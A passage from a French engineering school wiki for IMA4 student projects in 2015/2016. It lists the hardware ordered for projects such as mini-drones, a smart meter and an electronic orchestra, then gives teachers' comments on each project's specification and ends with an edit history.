fils mâle/mâle x10 [01/02/2016], 
2 Mini Webcam USB GT06051, Gotronic [http://www.gotronic.fr/art-mini-webcam-usb-gt06051-23495.htm], 
Chargeur portable, PB-A5200, Power Bank, 5000mAh, Lithium Polymère, RS [http://fr.rs-online.com/web/p/batteries-externes/7757508/], 
Un câble "série" pour raspberry [01/02/2016], 
Servo-moteur 180° [01/02/2016, achat personnel], 
convertisseur HDMI-SVGA pour Raspberry Pi [03/02/2016]. 
|-
| P42 [[Mini-drones]]
|
Minidrones Parrot : JUMPING SUMO [01/02/2016], 
Minidrones Parrot : ROLLING SPIDER [01/02/2016].
|-
| P43 [[SmartMeter, gestion de consommation électrique]]
|
Un panstamp NRG [02/02/2016] [http://panstamp.com/store/index.php?id_product=47&controller=product], 
Maxim 78M6610+LMU [http://eu.mouser.com/ProductDetail/Maxim-Integrated/78M6610+LMU-B01/?qs=sGAEpiMZZMuicgbJr93hQVd6%252bEl2PjSnPQyvC3%252bgS6U%3d], 
Quartz 20Mhz [http://fr.farnell.com/iqd-frequency-products/lfxtal003185/quartz-20mhz/dp/9712879], 
<ul>
<li>Capacités : 
1 µF x9 unités [http://fr.farnell.com/tdk/c1608x5r1h105k080ab/condensateur-mlcc-x5r-1uf-50v/dp/2211179], 
0.1uF x9 unités [http://fr.farnell.com/multicomp/mc0603f104z500ct/condensateur-mlcc-y5v-100nf-0603/dp/1759123], 
18 pF x6 unités [http://fr.farnell.com/walsin/0603n180j500ct/condensateur-mlcc-np0-18pf-50v/dp/2496890?MER=en-me-sr-b-all] , 
</li>
<li>Résistances : 
100 Ohm, [http://fr.rs-online.com/web/p/resistances-cms/2132143/] , 
750 Ohm, [http://fr.rs-online.com/web/p/resistances-cms/6790692/] , 
1 KOhm, [http://fr.rs-online.com/web/p/resistances-cms/2132266/] , 
10 KOhm, [http://fr.rs-online.com/web/p/resistances-cms/2132418/] , 
1 MOhm, [http://fr.rs-online.com/web/p/resistances-cms/6789932/] , 
</li>
</ul>
Résistance de shunt: 0.004 Ohm [http://fr.rs-online.com/web/p/resistances-cms/8665374/], 
Leds rouge CMS x12, [http://fr.farnell.com/rohm/sml-310vtt86l/led-0603-rouge/dp/1685064] , 
Bornier [http://fr.farnell.com/camdenboss/ctb0308-2/bornier-2-voies/dp/3882652] 
Transformateur VTX-214 001 103 [http://fr.farnell.com/vigortronix/vtx-214-001-103/conv-ac-dc-fixe-1-o-p-1w-3-3v/dp/2401019], 
Adaptateur USB [02/02/2016]. 
Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P43.ods]].
|-
| P44 [[Le marteau de Thor]]
|
Un arduino UNO [27/01/2016] 
un lecteur d'empreintes digitales : Mouser [http://www.mouser.fr/ProductDetail/MikroElektronika/MIKROE-1722/?qs=GJ%2F2ZGcr5uOW3uiL4M9shA%3D%3D], 
Un shield NFC [27/01/2016] , 
Un téléphone sous Androïd [27/01/2016], 
Un capteur de pression [03/02/2016], 
Un électro aimant [25/01/2016], 
Une alimentation électroaimant (labo 24V), 
Une alimentation arduino [27/01/2016]. 
‎Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P44.ods]].
|-
| P45 [[Orchestre électronique]]
|
Alimentation PC [27/01/2016], 
Lecteurs de disquette (x2) [27/01/2016], 
Lecteur CD (x1) [27/01/2016], 
Disques durs (x3) [27/01/2016], 
Scanner [27/01/2016], 
Raspberry Pi 2 + alimentation + FTDI [27/01/2016], 
Cables GPIO femelle [27/01/2016], 
Cable Alimentation PC [27/01/2016], 
Buffers 3 états (Farnell) [http://fr.farnell.com/fairchild-semiconductor/nc7sp126p5x/buffer-single-tri-state-sc-70/dp/2453002], 
Imprimantes [01/02/2016], 
Clavier MIDI [http://www.thomann.de/fr/m_audio_keystation_mini_32_mk2.htm?gclid=Cj0KEQiAoby1BRDA-fPXtITt3f0BEiQAPCkqQQKdntNWLwKu92GOUp2gHXfTCj5t0WB9LWyZjAaAZUkaAmDV8P8HAQ]. 
‎Récapitulatif électronique [[Fichier:CommandeElectronique-2015-P45.ods]].
|-
| P47 [[Commande d'une suspension magnétique]]
|
 Logiciel Matlab simulink et la suspension magnétique Didastel. .
|-
|}

== Notes sur les projets ==

{| class="wikitable"
| Projet || Mini-cahier des charges || Mi-parcours || Fin de parcours || Wiki terminé || Rapport || Vidéo
|-
| P0 [[Commande USB par micro-contrôleur]]
| Vide.
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|-
| P4 [[Train de véhicules]]
| Cahier des charges très correct, bien rédigé, illustré, un schéma intéressant, le sujet est compris. Une liste du matériel nécessaire, précise et raisonnable.
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|-
| P5 [[Imprimante 3D à chocolat]]
| Très bon cahier des charges, bien rédigé, illustré, bonne synthèse du travail à effectuer. Le matériel nécessaire est listé mais sans référence précise.Il n'est pas évident que ce matériel soit d'un coût raisonnable.
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|-
| P6 [[Zone de sécurité pour vélo]]
| Cahier des charges correct. Synthèse d'une réunion interne. Liste précise du matériel.
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| P7 [[Journée IMA]]
| Un cahier des charges finalement correct fin décembre.
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| P9 [[Tableau blanc interactif]]
| Cahier des charges correct, le projet semble être spécifié. Une rencontre avec l'encadrant. Attention tout de même au coté très ouvert du sujet. Un embryon de liste de matériel. Il faut donner des références pour la caméra par exemple.
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| P10 [[Réseau de capteurs longue distance]]
| Quelques coquilles de rédaction. Le sujet est décrit mais on pourrait souhaiter plus de détail. Une illustration.Quelques mention du matériel mais pas de liste.
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|-
| P12 [[Robots mobiles pour Arduino]]
| Un cahier des charges finalement très correct.Pas de liste précise du matériel.
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| P16 [[Miroir intelligent]]
| Cahier des charges très correct même si on pourrait demander des précisions sur les retouches à apporter à l'image. Correctement rédigé, un effort de mise en forme. Une liste de matériel.
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|-
| P21 [[Robot autonome pour cartographie]]
| Cahier des charges correct. Attention à bien identifier des tâches à réaliser ne dépendant pas du projet des CM5. Préciser ce système de tags pour calibrer la position du robot. Une liste de matériel.
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|-
| P23 [[Matelas connecté]]
| Bel effort de présentation d'un cahier des charges pour un sujet très "ouvert". Rédaction très correcte. Une inquiétude sur la possibilité d'obtenir le matériel. Merci de mettre à jour le cahier des charges après la rencontre avec l'industriel.
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|-
| P27 [[BIOLOID commandé par Arduino]]
| Les grandes lignes sont définies. Quand vous parlez de commander le robot sans logiciel vous voulez dire commander le robot sans logiciel propriétaire ? Le cahier des charges est un peu court. Préciser l'environnement de développement C des Bioloid et l'interface entre l'Arduino et les servos-moteurs.
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|-
| P28 [[Imprimante 3D multi-fils]]
| Le cahier des charges est correct, vous avez contacté votre encadrant. Précisez que la solution de soudure de segments de filaments vient de vos encadrants ? Etablissez une liste du matériel nécessaire.
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|-
| P29 [[Aide anti-gaspillage alimentaire]]
| Pas de différence notable avec le sujet initial. Un doute sur l'intérêt d'un portable pour la lecture des étiquettes. Un autre doute sur la possibilité de cette lecture. La date d'expiration est généralement difficile à trouver et mal imprimée, quelles solutions envisagez-vous ? Aucune modication entre le 3 décembre et fin janvier.
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| P30 [[Micro-robots auto-organisés]]
| Une bonne description du projet et du but à atteindre. Un doute sur les moteurs choisis (non commandable par l'université d'ailleurs) : ce sont des moteurs très rapides. Des réflexions avancées sur le matériel. Il reste à trouver des références exploitables.
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| P32 [[Veilleuse enfant connecté]]
| Cahier des charges très correct. Bien rédigé. Clairement le projet a été bien appréhendé. Une liste du matériel avec des références.
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|-
| P34 [[Jeu de plateforme tangible]]
| Enfin un cahier des charges à peu près correct fin janvier.
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| P37 [[Interface de communication entre robots]]
| Cahier des charges correct. Quelques coquilles manque de formatage.
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| P38 [[Hydroponie]]
| Un cahier des charges finalisé très tardivement fin janvier.
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| P39 [[Dirigeable publicitaire]]
| Cahier des charges très correct. Pour l'hélium il faudrait contacter le fournisseur de l'université pour un devis. Vous pouvez commencer à concevoir la nacelle avec les hélices. Il faut aussi trouver des références pour la liste du matériel.
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|-
| P41 [[Drone et occulus rift]]
| Un Wiki illustré et formaté correctement. Toujours aucune précision sur la connexion entre l'occulus rift et le drone.
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| P42 [[Mini-drones]]
| Cahier des charges correct. Un effort d'illustration avec un schéma. Vous pouvez commencer à manipuler le SDK des mini-drônes, ces derniers sont disponibles en E306.
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|-
| P43 [[SmartMeter, gestion de consommation électrique]]
| Bel effort de Wiki vu le retard pris pour la rédaction du cahier des charges. Je pense qu'il y a une confusion sur la signification de "puissance effective". Mettre à jour le Wiki après entretien avec Guillaume Renault. Au 27 janvier toujours en attente d'une réelle étude du sujet.
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| P44 [[Le marteau de Thor]]
| Projet enfin attaqué fin décembre. Un vrai cahier des charges, très correct.
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|-
| P45 [[Orchestre électronique]]
| Projet correctement appréhendé. Le cahier des charges est précisé dans ses grandes lignes. Une partie sur les instruments reste à affiner mais c'est normal. Essayez de trouver une référence pour les dispositifs MIDI à connecter à la RaspBerry Pi. Ces dispositifs sont fondamentaux pour lancer le projet.
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|-
| P47 [[Commande d'une suspension magnétique]]
| Un cahier des charges enfin correct le 4 janvier 2016.Pourriez-vous mettre en perspective votre projet par rapport à celui de 2012/2013 [[Suspension_magnétique_2013]] ?
|
|
|
|
|
|}

Fichier:CommandeElectronique-2015-P32.ods

2016-02-06T14:35:44Z

Jbielle :

Projets IMA4 SC & SA 2015/2016

2016-02-02T16:56:26Z

Jbielle :

Veilleuse enfant connectée

2015-12-12T11:49:23Z

Jbielle : /* Aperçu de la veilleuse */

Fichier:Design veilleuse.jpg

2015-12-12T11:47:45Z

Jbielle : Model 3D du design extérieur de notre veilleuse connectée

Model 3D du design extérieur de notre veilleuse connectée

Veilleuse enfant connectée

2015-12-12T11:44:19Z

Jbielle : /* Matériel à utiliser */

Veilleuse enfant connectée

2015-12-11T22:37:07Z

Jbielle : /* Matériel à utiliser */